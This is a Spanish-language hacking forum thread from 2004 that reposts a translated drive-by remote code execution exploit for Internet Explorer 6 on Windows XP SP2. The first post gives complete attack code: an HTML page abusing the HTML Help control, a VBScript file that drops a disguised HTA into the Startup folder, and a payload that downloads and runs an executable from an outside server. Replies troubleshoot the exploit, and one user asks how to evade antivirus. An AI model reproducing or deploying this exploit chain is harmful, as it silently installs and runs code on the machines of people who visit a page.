elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 10:36  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Ejecución remota de código en Microsoft Internet Explorer SP2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ejecución remota de código en Microsoft Internet Explorer SP2  (Leído 1,850 veces)
IoA

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Ejecución remota de código en Microsoft Internet Explorer SP2
« en: 26 Diciembre 2004, 17:54 »

Ejecución remota de código en Microsoft Internet Explorer SP2



Sistemas vulnerables

- Microsoft Internet Explorer 6.0
- Microsoft Windows XP Pro SP2
- Microsoft Windows XP Home SP2


Introducción

Michael Evanchik (http://www.michaelevanchik.com) y Paul de Greyhats Security (http://greyhats.cjb.net), han descubierto una vulenrabilidad crítica en el Windows/Internet Explorer que puede comprometer el sistema sin que sea necesaria la intervención del usuario final (víctima), simplemente vistando una página web especialmente creada por un atacante, se puede descargar y ejecutar un archivo en el sistema de la vícitma si este es vulnerable.
Esta no es una nueva vulnerabilidad propiamente dicha, sino que es el conjunto de varios agujeros ya conocidos que afectan al SP2.


Explicación

1. Crea una página web con el siguiente código:

sp2rc.htm


Código:
<OBJECT id="localpage" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;file://C:\WINDOWS\
PCHealth\HelpCtr\System\blurbs\tools.htm">
</OBJECT>

<OBJECT id="inject" type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:
execScript("document.write(\"<script language=\\\"vbscript\\\"
src=\\\"http://cyruxnet.org/ie/writehta.txt\\\"\"+String.fromCharCode(62)+\"
</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>

<script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>

Nota:
Edita la cadena "http://cyruxnet.org/ie/writehta.txt" para personalizar el archivo.


Explicación del código

El priner objeto (id: localpage) le dice al hhctrl.ocx que abra una ventana de ayuda que apunte hacia el archivo: C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm.
Se ha escogido este archivo porque es tratado bajo la zona de seguridad local y no contiene ningún script que nos pueda molestar (en algunos equipos puede aprecer una ventana de error antes de aparecer la ventana).
El segundo objeto (id: inject) le dice a la ventana de ayuda, mediante un javascript que vaya hasta un archivo writehta.txt situado en una web determinada (en este caso http://cyruxnet.org/writehta.txt).
Lo que consigue este objeto realmente es un típico Cross Site Scripting, gracias al cual el archivo remoto (writehta.txt) es ejecutado en la ventana de ayuda, que a su vez se encuentra bajo la zona de seguridad local.

En el script se utiliza la función HHClick para evitar que el usuario tenga que hacerl click en un botón para reproducir la vulnerabilidad.


2. El archivo Writehta.txt

En este archivo se utiliza el "adob recordset" para escribir el archivo "Microsoft Office.hta" en la carpeta de inicio del usuario.
Para una explicación mas detallada del "adob recordset" consulta el análisis de Michael Evanchik's de la vulnerabilidad de "drag and drop": http://www.michaelevanchik.com/kara/scrolll/notagain.txt


Crea el archivo "writehta.txt" con el siguiente código:

Código:
Dim Conn, rs
Set Conn = CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://cyruxnet.org;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save
"C:\Documents and Settings\All Users\Menu Inicio\Programas\Inicio\Microsoft Office.hta", adPersistXML
// English \Documents and Settings\All Users\Start Menu\Programs\Startup\
// Spanish \Documents and Settings\All Users\Menu Inicio\Programas\Inicio\
// French \Documents and Settings\All Users\Menu Démarrer\Programmes\Démarrage
// Danish \Documents and Settings\All Users\Menuen Start\Programmer\Start\
// Dutch \Documents and Settings\All Users\Menu Start\Programma's\Opstarten\
// Polish \Documents and Settings\All Users\Menu Start\Programy\Autostart\
// Italian \Documents and Settings\All Users\Menu Avvio\Programmi\Esecuzione automatica\
// Finn \Documents and Settings\All Users\Kaynnista-valikko\Ohjelmat\Kaynnistys\
// Turkish \Documents and Settings\All Users\Start Menu\Programlar\BASLANGIC\ Turkish
// Norwegian \Documents and Settings\All Users\Start-meny\Programmer\Oppstart\
// Swedish \Documents and Settings\All Users\Start-menyn\Program\Autostart\
// Portuguese \Documents and Settings\All Users\Menu Iniciar\Programas\Iniciar\
// German \Dokumente und Einstellungen\All Users\Startmenu\Programme\Autostart\
rs.close
conn.close
window.close


Nota:
Edita la cadena "http://cycruxnet.org" para personalizar el archivo.


3. El archivo f00bar.txt

Este archivo es requerido por el "adob recorset" como se indica en la página de Michael Evanchik's.
El método utilizado para guardar un archivo en el disco duro del usuario es antiguo pero efectivo.

Crea el archivo "f00bar.txt" con el siguiente código :

Código:
"meaning less shit i had to put here"
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o = CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open ""GET"",""http://cyruxnet.org/ie/fuego.exe"",False : crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"") : crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\fuego.exe"",2 : crap="""
""" : Set ws = CreateObject(""WScript.Shell"") : crap="""
""" : ws.Run ""C:\fuego.exe"", 3, FALSE : crap="""
"""</script> crap="""

Nota:
Edita la cadena "http://cyruxnet.org/ie/fuego.exe" y "fuego.exe" para personalizar el archivo.

Y con esto, ya está todo, ahora el sistema de la víctima ya está comprometido.

Algunos Win2k3 no incluyen el archivo hhtctrl.ocx en este caso, será necesario subir el archivo al PC para poder probar el exploit.

Prueba de concepto: http://cyruxnet.org/ie/sp2rc_es.htm

Prueba de concepto original publicada en bugtraq (para versiones en inglés): http://freehost07.websamba.com/greyhats/sp2rc.htm

Si aparece un error, pulsa OK, es normal
Si todo ha ido bien, y has utilizado los archivos con las rutas, tal y como están publicados aquí,en tu carpeta de inicio se habrá crearo el archivo "Microsoft Office.hta" cuando se ejecute descargará y ejecutará un archivo inofensivo.



Recomendaciones

- Deshabilita los archivos .hta
- Utiliza un antivirus
- Deshabilita el "active scripting" en el Internet Explorer
- No utilices el Internet Explorer, el Firefox es mucho mejor.



Autores

Paul from Greyhats
Michael Evanchik
Http equiv

Agradecimientos de los autores

- Liu Die Yu (todo el trabajo que has realizado es fantástico)


Contacto

paul greyhats cjb net
http://greyhats.cjb.net
http://michaelevanchik.com


Post original

http://www.securityfocus.com/archive/1/385472


Traducción al castellano y adaptación: CyruxNET

http://cyruxnet.org
En línea
IoA

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Ejecución remota de código en Microsoft Internet Explorer SP2
« Respuesta #1 en: 27 Diciembre 2004, 07:40 »

el problema esque por donde le mueva, ni en el test ni en ningun lado logra instalar el archivo Microsoft Office.hta en el inicio, no se cual sea el problema si pudieran ayudar o por lo menos explicar porque no sucede esto me arian un gran paro ;D

ojala contesten este post o confirmen que realmente no funciona, me fije en los archivos ahi puestos y en los originales, los cambie y nada, eso es todo., gracias.
En línea
NewLog


Desconectado Desconectado

Mensajes: 327



Ver Perfil WWW
Re: Ejecución remota de código en Microsoft Internet Explorer SP2
« Respuesta #2 en: 27 Diciembre 2004, 10:03 »

Y yo preguntandome pk no veia ese archivo que deciis que se crea... Será pk win2k no es vulnerable   jejejje ;D

Vamos a ver que no lo he entendido muy bien...tengo algunas dudas...

Código:
ws.Run ""C:\fuego.exe"", 3, FALSE : crap="""


Está última linea...el c:\fuego.exe que representa que hace?? Es donde se guarda el archivo en la máquina ajena?? O donde lo tienes tu? No creo que sea donde lo tienes tu..pk unas lineas más arriba..si que sale el path donde lo deberias tener :o

Después...

el archivo f00bar.txt no veo que en ningún sitio este especificada su ruta...ha de ser la misma que la del Writehta.txt??

Perdonad si digo alguna burradaaaa...xo sk no sé apenas de programación...y javascript nada de nada!

Lo difícil es como no vamos a hacer saltar antivirus como Norton o Panda...^^U

Muchas graciaas...joderr...parezco un loro siempre dando las gracias xDD            x)
En línea
IoA

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Ejecución remota de código en Microsoft Internet Explorer SP2
« Respuesta #3 en: 27 Diciembre 2004, 19:55 »

el archivo htm si funciona como deberia  y si te das cuenta en el archivo writehta.txt es donde se descarga el archivo Microsoft Office.hta en el menu de inicio y el f00bar es el codigo que tendra el Microsoft Office.hta que cuando se ejecute descargara fuego en c:.,.,..,

El problema esta en writehta.txt  que jamas llama a f00bar y no instala Microsoft Office.hta en el inicio, ahi es donde se necesita alguien con mayor conocimiento  ;D

ojala puedan ayudar, gracias.
En línea
CyruxNET

Desconectado Desconectado

Mensajes: 6


CyruxNET


Ver Perfil WWW
Re: Ejecución remota de código en Microsoft Internet Explorer SP2
« Respuesta #4 en: 28 Diciembre 2004, 08:05 »

Bueno, creo que me corresponde a mi la respuesta.
Desgraciadamente he tenido que quitar la demostración del server, aunque podeis seguir bajado los archivos.
El problema está en la parte del proceso que utiliza el bug "adob recordset" si en su dia lo seguisteis, recordareis que la consulta sql
 "rs.Open "SELECT * from foobar.txt", conn" del archivo writehta.txt crea una conexión ftp al servidor, y se conecta con el usuario anónimo.
El problema es que cuando publiqué la demostración activé el acceso anónimo de ftp en mi cuenta del hosting, y como llevaba bastante tiempo usando linux, no tenia ningún Windows conel SP2 a mano, así que lo testearon por mi y funcionaba pero por lo visto no fue así,  debió haber algun error, no se.
Al comprobar hoy, ya con un WinXP SP2, he visto que aunque yo activara la cuenta anonymous en el ftp, mi host no lpermite el acceso, por eso no puede funcionar la demo en mi server, pero no quiere decir que no funcione.

De todos modos podeis testear la vulnerabilidada con la demo que hay publicada para las versiones en Inglés.
http://freehost07.websamba.com/greyhats/sp2rc.htm
sólo teneis que crear las carpetas
\Start Menu\Programs\Startup\
dentro de \All Users\ y comprobareis que se crea el archivo .hta  en ella .

Espero haber ayudado.
Un saludo

« Última modificación: 28 Diciembre 2004, 08:09 por CyruxNET » En línea
TaU

Desconectado Desconectado

Mensajes: 184



Ver Perfil
Re: Ejecución remota de código en Microsoft Internet Explorer SP2
« Respuesta #5 en: 29 Diciembre 2004, 00:35 »

En k-otik ha salido una variante:

http://www.k-otik.com/exploits/20041228.CMDExe.php

Mas info:

http://www.freewebs.com/shreddersub7/expl-discuss.htm

salu2
En línea

"Si no se vive como se piensa, se acabará pensando como se vive", Pep Figueres
Revolucionario / Presidente de Costa Rica / Primer jefe de estado de la historia en abolir el ejército / Catalán.
www.wadalbertia.org  -<|¡^P
IoA

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Ejecución remota de código en Microsoft Internet Explorer SP2
« Respuesta #6 en: 29 Diciembre 2004, 06:28 »

pues  creando las carpetas y testeando el demo tampoco me da resultado, mi win xp tienel sp2, lo abro con el ie6, tiene activados los archivos de ayuda y nada, no crea ningun archivo, ay alguien a quien si le de resultado???

En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema, con Ejecucion del Explorer.EXE error(0xc0000022)
Windows
robertftw 5 14,372 Último mensaje 31 Diciembre 2010, 13:15
por Randomize
Vulnerabilidad en pila Bluetooth de Microsoft 2.1 [ejecución remota de código]
Hacking Mobile
ANELKAOS 0 1,090 Último mensaje 13 Julio 2011, 13:02
por ANELKAOS
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines